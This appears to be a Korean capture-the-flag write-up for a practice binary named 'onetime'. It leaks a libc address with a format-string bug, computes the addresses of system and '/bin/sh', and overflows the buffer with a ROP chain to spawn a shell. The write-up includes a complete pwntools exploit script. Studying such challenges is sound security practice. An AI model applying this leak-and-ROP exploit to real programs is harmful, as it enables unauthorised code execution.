

C코드이다. check 때문에 main 함수를 여러번 실행하기는 힘들어보인다. (사실 sfp와 ret를 잘 고려하여 if문 뒤로 jmp하면 main함수를 다시 실행할 수 있을 것 같지만, 이 문제에서는 딱히 필요없다!)
read를 두번 입력 받는데, 한번은 buf 크기만큼, 다음번은 bof가 가능하도록 0x28만큼 추가로 더 입력받고 있다.
exploit은 간단해보인다! 이전 문제와 비슷하게 %p를 여러개 보내봐서 main의 ret에 저장된 __libc_start_call_main+??의 주소를 leak하고, 이를 통해 libc_base의 주소를 계산해서 system 함수의 주소를 얻어낸다.
그 다음, bof가 가능한 곳에서 pop rdi가젯과 /bin/sh, system 함수로 main의 ret를 덮으면 될 것 같다. FSB와 ROP를 적절히 조합한 쉬운 문제이다!
먼저 %p를 56개 정도 보내보았다.

이번에도 0x1 뒤에 있는 값을 찾으면 될 것 같다. 38번째와 39번째에서 0x1 0x7f45ca9c9d90를 찾았다! (~d90으로 끝나는 것으로 보아 잘 찾는 게 맞는 것 같다.)
%39$p를 이용해 값을 leak하고, offset을 빼주어 libc_base의 주소를 구한다. 그다음 system 함수의 실제 주소도 계산하고, /bin/sh가 저장된 주소도 offset을 더해서 구했다!(bss에 적기 귀찮아서,,)

(/bin/sh offset 찾는 방법)
그 다음 main의 ret에 pop rdi; ret, /bin/sh의 실제 주소, ret(64bit alignment), system 함수의 실제 주소를 차례로 보내주면 exploit 할 수 있다.
전체 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./onetime')
e = ELF('./onetime')
libc_start_main_offset=0x29d10
system_offset=0x50d60
printf_got = e.got['printf']
read_plt = e.plt['read']
p_rdi=0x4012f3
ret=0x40101a
binsh_offset=0x1d8698
p.recvuntil(b'n')
pause()
#p.send(b'AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p')
p.send(b'%39$p')
leak=p.recv(14)[-12:]
leak=int(leak,16)
log.info('leak data - '+hex(leak))
libc_base = leak - libc_start_main_offset - 128
log.info('libc base - '+hex(libc_base))
system=libc_base + system_offset
binsh=libc_base + binsh_offset
payload=b'A' * 0x108
payload+=p64(p_rdi) + p64(binsh)
payload+=p64(ret)
payload+=p64(system)
pause()
p.send(payload)
p.interactive()

쉘따기 성공!